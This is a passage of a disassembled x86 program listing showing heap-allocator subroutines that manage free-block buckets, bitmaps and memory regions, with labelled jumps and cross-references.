		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2890000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		call	near ptr 2800000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2680572h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27F0614h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2680572h
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		call	near ptr 2800000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2680773h


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0614h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2680773h
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		nop
		call	near ptr 27F0614h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2680773h
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
